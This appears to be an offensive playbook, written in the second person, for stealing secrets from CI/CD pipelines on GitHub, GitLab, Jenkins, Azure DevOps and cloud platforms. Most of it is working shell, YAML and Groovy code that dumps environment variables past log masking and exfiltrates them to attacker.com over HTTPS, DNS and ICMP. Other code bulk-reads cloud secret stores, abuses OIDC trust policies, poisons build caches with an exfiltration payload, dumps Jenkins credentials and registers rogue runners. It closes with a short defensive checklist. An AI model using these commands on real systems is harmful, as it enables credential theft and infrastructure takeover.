Secrets in CI/CD environments are the primary objective for pipeline compromise. Every pipeline holds credentials -- deployment keys, cloud provider tokens, API secrets, registry passwords, database connection strings -- and the mechanisms protecting them are consistently weaker than those guarding production secrets. You exploit the fundamental tension in CI/CD design: pipelines need credentials to deploy, but the environments executing pipelines are transient, shared, and often accessible to anyone who can open a pull request.
This skill systematically covers every extraction path across CI/CD platforms, from trivial environment variable dumps to sophisticated OIDC federation abuse. You enumerate what secrets exist, determine which extraction technique applies, recover the credentials, and pivot to expand your access.
MITRE ATT&CK: T1552 (Unsecured Credentials), T1552.001 (Credentials In Files), T1552.004 (Private Keys), T1552.007 (Container API)
Every CI/CD platform injects secrets as environment variables. Your first action in any compromised pipeline is a comprehensive environment dump. Platforms attempt to mask secret values in logs, but the masking is trivially bypassed.
# Full environment dump -- works on all platforms
env | sort
# Base64 encode to bypass log masking
env | base64
# Reverse the string to defeat pattern-matching masks
env | rev
# Character-by-character extraction defeats even advanced masking
for var in $(env | grep -i -E 'key|secret|token|pass|cred|auth' | cut -d= -f1); do
value=$(printenv "$var")
echo -n "$var="
echo "$value" | fold -w1 | paste -sd' '
done
# Hex encoding for binary-safe exfiltration
env | xxd -p | tr -d '\n'
# Extract high-value variables by naming convention
env | grep -iE '^(AWS_|AZURE_|GCP_|GOOGLE_|GITHUB_|GITLAB_|DOCKER_|NPM_|ARTIFACTORY_|VAULT_|DATABASE_|DB_|REDIS_|MONGO_|POSTGRES_|MYSQL_|SSH_|PRIVATE_|API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)' | sort
# Search for variables containing credential-shaped values
env | grep -E '=[A-Za-z0-9+/]{20,}={0,2}$' # Base64-encoded values
env | grep -E '=ghp_[A-Za-z0-9]{36}' # GitHub personal access tokens
env | grep -E '=ghs_[A-Za-z0-9]{36}' # GitHub installation tokens
env | grep -E '=glpat-[A-Za-z0-9\-]{20}' # GitLab personal access tokens
env | grep -E '=AKIA[A-Z0-9]{16}' # AWS access key IDs
env | grep -E '=sk-[A-Za-z0-9]{20,}' # Stripe/OpenAI-style keys
# Find secrets in process memory (if /proc is available)
strings /proc/self/environ 2>/dev/null
strings /proc/*/environ 2>/dev/null | sort -u | grep -iE 'secret|token|key|pass'
# HTTPS POST exfiltration (most reliable)
env | base64 | curl -sS -X POST -d @- https://attacker.com/collect
# DNS exfiltration for restricted networks
for secret in $(env | grep -i SECRET | base64 | fold -w 60); do
nslookup "${secret}.exfil.attacker.com" 2>/dev/null
done
# ICMP exfiltration when HTTP is blocked
env | xxd -p | fold -w 32 | while read chunk; do
ping -c 1 -p "$chunk" attacker.com 2>/dev/null
done
# Write to pipeline artifact for later retrieval
env | base64 > /tmp/build-metrics.dat
# Then upload as artifact through the platform's mechanism
CI/CD pipelines frequently integrate with secrets managers. You exploit misconfigurations in how pipelines authenticate to and retrieve secrets from these systems.
# Check if Vault environment is configured
echo "VAULT_ADDR: $VAULT_ADDR"
echo "VAULT_TOKEN: $VAULT_TOKEN"
echo "VAULT_ROLE_ID: $VAULT_ROLE_ID"
echo "VAULT_SECRET_ID: $VAULT_SECRET_ID"
# If VAULT_TOKEN is present, enumerate accessible secrets
vault secrets list 2>/dev/null || \
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/sys/mounts" | jq '.data | keys'
# List and read KV secrets
vault kv list secret/ 2>/dev/null || \
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/secret/metadata?list=true" | jq '.'
# Attempt to read common secret paths
for path in secret/data/production secret/data/deploy secret/data/database secret/data/aws; do
echo "--- $path ---"
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/$path" 2>/dev/null | jq '.data'
done
# If AppRole credentials are available, authenticate
curl -sS -X POST "$VAULT_ADDR/v1/auth/approle/login" \
-d "{\"role_id\": \"$VAULT_ROLE_ID\", \"secret_id\": \"$VAULT_SECRET_ID\"}" | jq '.'
# Check token capabilities -- often over-permissioned for CI
curl -sS -X POST -H "X-Vault-Token: $VAULT_TOKEN" \
"$VAULT_ADDR/v1/sys/capabilities-self" \
-d '{"paths": ["secret/*", "aws/*", "database/*", "ssh/*"]}' | jq '.'
# Check for AWS credentials in the environment
echo "AWS_ACCESS_KEY_ID: $AWS_ACCESS_KEY_ID"
echo "AWS_SECRET_ACCESS_KEY: ${AWS_SECRET_ACCESS_KEY:0:8}..."
echo "AWS_SESSION_TOKEN present: $([ -n "$AWS_SESSION_TOKEN" ] && echo yes || echo no)"
# Check if running on EC2 with instance metadata
curl -sS -m 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
# List all secrets in Secrets Manager
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}' --output table
# Extract secret values
aws secretsmanager list-secrets --query 'SecretList[].Name' --output text | tr '\t' '\n' | \
while read name; do
echo "=== $name ==="
aws secretsmanager get-secret-value --secret-id "$name" --query 'SecretString' --output text 2>/dev/null
done
# SSM Parameter Store -- often contains credentials with weak IAM boundaries
aws ssm describe-parameters --query 'Parameters[].{Name:Name,Type:Type}' --output table
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
--query 'Parameters[].{Name:Name,Value:Value}' --output table 2>/dev/null
# Check for Azure managed identity
curl -sS -m 2 -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
2>/dev/null | jq '.access_token'
# List Key Vaults accessible to the current identity
az keyvault list --query '[].{name:name, uri:properties.vaultUri}' --output table
# Extract all secrets from a vault
VAULT_NAME="target-vault"
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].{name:name, id:id}' --output table
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].name' --output tsv | \
while read name; do
echo "=== $name ==="
az keyvault secret show --vault-name "$VAULT_NAME" --name "$name" --query 'value' --output tsv
done
# Extract certificates and keys
az keyvault certificate list --vault-name "$VAULT_NAME" --output table
az keyvault key list --vault-name "$VAULT_NAME" --output table
# Check for GCP credentials
echo "GOOGLE_APPLICATION_CREDENTIALS: $GOOGLE_APPLICATION_CREDENTIALS"
cat "$GOOGLE_APPLICATION_CREDENTIALS" 2>/dev/null | jq '.client_email, .project_id'
# Use metadata server for default credentials
curl -sS -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | jq '.'
# List all secrets in the project
gcloud secrets list --format='table(name, replication.automatic)'
# Extract secret values
gcloud secrets list --format='value(name)' | while read name; do
echo "=== $name ==="
gcloud secrets versions access latest --secret="$name" 2>/dev/null
done
OIDC federation allows CI/CD pipelines to authenticate to cloud providers without storing long-lived credentials. You exploit trust misconfigurations in the federation setup to assume roles from unauthorized contexts.
# GitHub Actions requests an OIDC token from the GitHub token endpoint
# The token contains claims about the workflow context
steps:
- name: Extract OIDC token and examine claims
run: |
# Request the OIDC token
OIDC_TOKEN=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')
# Decode and examine the claims (header.payload.signature)
echo "$OIDC_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
# The claims include:
# sub: repo:org/repo:ref:refs/heads/main
# repository: org/repo
# ref: refs/heads/main
# If the AWS role trust policy is overly permissive (e.g., trusts any ref
# or any repo in the org), you can assume it from a fork or feature branch
Attack scenario -- overly broad trust policy:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:target-org/*"
}
}
}]
}
# This trust policy accepts ANY repository in the org
# If you can create a repo in the org or find any repo with Actions write access,
# you can assume this role
# From your controlled workflow in any org repo:
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT:role/deploy-role" \
--role-session-name "exploit" \
--web-identity-token "$OIDC_TOKEN"
# GitLab CI can also issue OIDC tokens
extract_oidc:
script:
- |
# GitLab injects CI_JOB_JWT and CI_JOB_JWT_V2
echo "$CI_JOB_JWT_V2" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
# Claims include namespace_path, project_path, ref, ref_protected
# Misconfigured trust policies may not validate ref_protected or project_path
# Assume AWS role using GitLab OIDC token
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT:role/gitlab-deploy" \
--role-session-name "gitlab-exploit" \
--web-identity-token "$CI_JOB_JWT_V2"
id_tokens:
CUSTOM_TOKEN:
aud: https://aws.amazon.com
Build logs and caches frequently contain credentials leaked through careless scripting, verbose output modes, or debug configurations.
# GitHub Actions: Retrieve workflow run logs via API
# Requires a token with actions:read scope
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
"https://api.github.com/repos/OWNER/REPO/actions/runs" | \
jq '.workflow_runs[:10] | .[].id' | while read run_id; do
curl -sS -L -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/OWNER/REPO/actions/runs/$run_id/logs" \
-o "run_${run_id}.zip"
unzip -o "run_${run_id}.zip" -d "logs_${run_id}" 2>/dev/null
done
# Search extracted logs for leaked secrets
grep -rihE '(password|secret|token|key|credential)[\s]*[=:][\s]*\S+' logs_*/ 2>/dev/null
grep -rihE '(AKIA[A-Z0-9]{16}|ghp_[A-Za-z0-9]{36}|sk-[A-Za-z0-9]{20,})' logs_*/ 2>/dev/null
grep -rihE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+' logs_*/ 2>/dev/null # JWT tokens
# Jenkins: Build console output often contains unmasked secrets
curl -sS -u "user:$JENKINS_TOKEN" \
"https://jenkins.target.com/job/JOB_NAME/lastBuild/consoleText" | \
grep -iE 'password|secret|token|key'
# GitHub Actions: Poison the build cache to exfiltrate secrets on next run
# First run: inject exfiltration script into cached dependencies
steps:
- uses: actions/cache@v4
with:
path: ~/.npm
key: npm-cache-${{ hashFiles('package-lock.json') }}
- run: |
# Inject into a cached module that executes during install
mkdir -p ~/.npm/_preinstall
cat > ~/.npm/_preinstall/exfil.sh << 'PAYLOAD'
#!/bin/bash
env | base64 | curl -sS -X POST -d @- https://attacker.com/cache-exfil &
PAYLOAD
chmod +x ~/.npm/_preinstall/exfil.sh
# Modify a cached package's install script to trigger it
GitLab CI shared caches work similarly -- inject a payload into node_modules/ with cache: policy: push, and the deploy job pulling the same cache key executes it.
Each CI/CD platform has its own credential storage mechanism with distinct extraction techniques.
# GitHub Actions secrets are injected as environment variables
# They are masked in logs but accessible programmatically
# List all secrets available to the workflow (names only, via API)
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
"https://api.github.com/repos/$GITHUB_REPOSITORY/actions/secrets" | jq '.secrets[].name'
# Organization-level secrets
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/orgs/$ORG/actions/secrets" | jq '.secrets[].name'
# Repository environment secrets
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments" | \
jq '.environments[].name' | while read env_name; do
echo "=== Environment: $env_name ==="
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments/${env_name}/secrets" | jq '.'
done
# Values require code execution in the pipeline context -- use env dump techniques above
// Groovy script to extract all Jenkins credentials
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.Credentials
import com.cloudbees.plugins.credentials.domains.Domain
import jenkins.model.Jenkins
def store = Jenkins.instance.getExtensionList(
'com.cloudbees.plugins.credentials.SystemCredentialsProvider'
)[0].getStore()
store.getDomains().each { domain ->
store.getCredentials(domain).each { cred ->
println "=== ${cred.id} (${cred.class.simpleName}) ==="
if (cred.respondsTo('getUsername')) println "Username: ${cred.username}"
if (cred.respondsTo('getPassword')) println "Password: ${cred.password}"
if (cred.respondsTo('getSecret')) println "Secret: ${cred.secret}"
if (cred.respondsTo('getPrivateKey')) println "Private Key: ${cred.privateKey}"
if (cred.respondsTo('getToken')) println "Token: ${cred.token}"
println "---"
}
}
For offline decryption of credentials.xml, you need secrets/master.key and secrets/hudson.util.Secret from the Jenkins home directory. Hash the master key with SHA-256, use the first 16 bytes to AES-ECB-decrypt the hudson secret, then use that as the AES-128-CBC key (IV is bytes 1-17 of the encrypted blob) to decrypt individual credential entries.
# Extract variables using CI_JOB_TOKEN (limited scope)
curl -sS --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | jq '.'
# With a personal access token or impersonation token (broader scope)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | \
jq '.[] | {key, value, protected, masked, environment_scope}'
# Group variables (inherited by all projects in the group)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/groups/$GROUP_ID/variables" | \
jq '.[] | {key, value, protected}'
# Instance variables (requires admin access)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
# File-type variables are written to disk -- find them
find /builds -name "*.env" -o -name "*.key" -o -name "*.pem" -o -name "*.json" 2>/dev/null | \
while read f; do echo "=== $f ==="; cat "$f"; done
CI/CD pipelines that build and push container images store Docker registry credentials. You extract them from the runner filesystem, environment variables, or the Docker credential helper chain.
# Check Docker configuration for stored credentials
cat ~/.docker/config.json 2>/dev/null | jq '.'
# Look for credHelpers, credStore, and direct auths entries
# Extract from Docker credential helpers
docker-credential-gcr list 2>/dev/null
docker-credential-ecr-login list 2>/dev/null
docker-credential-desktop list 2>/dev/null
# For each credential helper, get the stored credentials
for helper in gcr ecr-login desktop secretservice pass; do
echo "=== docker-credential-$helper ==="
echo "" | docker-credential-$helper list 2>/dev/null | \
jq -r 'keys[]' 2>/dev/null | while read registry; do
echo "$registry" | docker-credential-$helper get 2>/dev/null | jq '.'
done
done
# Check for registry tokens in environment
env | grep -iE '(DOCKER_|REGISTRY_|CR_|ACR_|ECR_|GCR_|GHCR_)' | sort
# GitHub Container Registry token -- GITHUB_TOKEN often has packages:write
echo "$GITHUB_TOKEN" | docker login ghcr.io -u USERNAME --password-stdin
# AWS ECR -- extract temporary credentials
aws ecr get-login-password --region us-east-1
# GCP Artifact Registry
gcloud auth print-access-token
Cloud service connections and runner tokens provide direct pivot paths from CI/CD into infrastructure.
# Azure DevOps service connections -- credentials injected as env vars
echo "ARM_CLIENT_ID: $ARM_CLIENT_ID"
echo "ARM_CLIENT_SECRET: ${ARM_CLIENT_SECRET:0:8}..."
az login --service-principal -u "$ARM_CLIENT_ID" -p "$ARM_CLIENT_SECRET" -t "$ARM_TENANT_ID"
az role assignment list --assignee "$ARM_CLIENT_ID" --output table
# GCP service account keys on runners
find / -name "*.json" -exec grep -l "private_key_id" {} \; 2>/dev/null
gcloud auth print-access-token --impersonate-service-account=TARGET@PROJECT.iam.gserviceaccount.com
# AWS cross-account role assumption
aws sts get-caller-identity
Runner tokens enable job interception and rogue runner registration:
# GitHub Actions self-hosted runner credentials
cat /home/runner/.runner 2>/dev/null | jq '.'
cat /home/runner/.credentials 2>/dev/null
find / -path "*actions-runner*" -name ".runner" 2>/dev/null
# GitLab runner token extraction
grep -E '(token|url)' /etc/gitlab-runner/config.toml 2>/dev/null
# Claim jobs with a stolen GitLab runner token
curl -sS --request POST "https://gitlab.target.com/api/v4/jobs/request" \
--form "token=RUNNER_TOKEN" --form "info[name]=rogue-runner"
# Jenkins agent secret files
find / -name "secret.key" -path "*/jenkins/*" 2>/dev/null
Defenders should implement these controls and monitor for these indicators:
env, printenv, or access /proc/self/environ outside expected debugging contexts.Key defensive controls: use OIDC with narrow claim constraints over long-lived credentials; enable audit logging on all secrets platforms; use ephemeral container-based runners; restrict secret access via environment protection rules; implement network segmentation for build environments.
| Vector | Platform | Access Required | Impact |
|---|---|---|---|
| Env var dump | All | Pipeline execution | All injected secrets |
| Log masking bypass | All | Pipeline execution | Secret values in logs |
| Vault token reuse | All + Vault | Pipeline execution | Vault secret access |
| AWS metadata/creds | AWS runners | Pipeline execution | AWS account access |
| Azure managed identity | Azure runners | Pipeline execution | Azure subscription |
| GCP metadata/SA key | GCP runners | Pipeline execution | GCP project access |
| OIDC federation abuse | GitHub/GitLab | Workflow in trusted org | Cloud role assumption |
| Build log analysis | All | Log read access | Leaked credentials |
| Cache poisoning | GitHub/GitLab | Cache write access | Credential exfiltration |
| Jenkins credential dump | Jenkins | Script console access | All stored credentials |
| GitLab variable extraction | GitLab | API token | Project/group secrets |
| Docker config theft | All | Runner filesystem | Registry credentials |
| Runner token capture | GitHub/GitLab | Runner filesystem | Job interception |
| Service connection theft | Azure DevOps | Pipeline execution | Cloud infra access |
| SSM Parameter Store | AWS | Pipeline execution | Stored parameters |
| Key Vault extraction | Azure | Pipeline execution | Vault secrets/keys |